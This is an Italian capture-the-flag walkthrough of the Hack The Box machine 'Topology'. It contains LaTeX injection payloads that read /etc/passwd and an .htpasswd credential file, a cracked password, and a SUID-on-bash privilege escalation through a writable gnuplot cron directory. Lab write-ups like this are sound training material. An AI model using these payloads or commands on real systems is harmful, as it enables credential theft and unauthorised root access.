Topology

Autore: Lord Shiva Aggiornamento: 07.10.2023 Tempo di lettura: 10 min.
 

Come sempre, la prima cosa da fare è una scansione della macchina con nmap in modo da capire quali sono le porte aperte e i servizi attivi.

nmap -sC -sV <ip_target>

e questo è il risultato:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-07 18:25 CEST
Nmap scan report for 10.10.11.217
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA)
|   256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)
|_  256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Visitando il sito troviamo una semplice pagina html.

Analizzando il codice trovo questo link: http://latex.topology.htb/equation.php. Così aggiungo il dominio al mio file /etc/hosts/.

Trovo la seguente pagina che offre un servizio per generare file png partendo da un testo:

Andando un pò in giro trovo qualche informazione aggiuntiva su LaTex Injection

$\lstinputlisting{/etc/passwd}$

Chiedendo di generare la seguente immagine potremo leggere il file in oggetto

Troviamo un utente che potrebbe essere utile per il nostro accesso ssh vdaisley.
Successivamente, ho utilizzato il sito web per trovare un exploit per lavorare su questa funzione. Tuttavia non mi ha fornito alcuna credenziale quindi ho dovuto utilizzare il sottodominio dev.topology.htb. C'è un htpasswd che fornirebbe la password dell'utente.

$\lstinputlisting{/var/www/dev/.htpasswd}$

La password quando viene passata dal programma hash-identifier per la crittografia viene indicata come md5. Una volta decifrata, la password è calculus20.

Prima flag: f1e..........................273

Dopo aver ottenuto l'accesso utente, possiamo caricare pspy sul server per vedere quali processi sono in esecuzione. Uno interessante che vediamo è un comando sh eseguito con i permessi di root.

CMD: UID=0     PID=5107   | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;

Dopo aver eseguito ls -la /opt, vediamo che abbiamo i permessi di scrittura su /opt/gnuplot. Possiamo facilmente ottenere l'escalation dei privilegi scrivendo uno script gnuplot che modifichi /bin/bash per darci root.

echo 'system "chmod u+s /bin/bash"' > /opt/gnuplot/root.plt

Successivamente richiamare la bash

/bin/bash -p

Ed ecco l'accesso alla root flag: 4de..........................1c1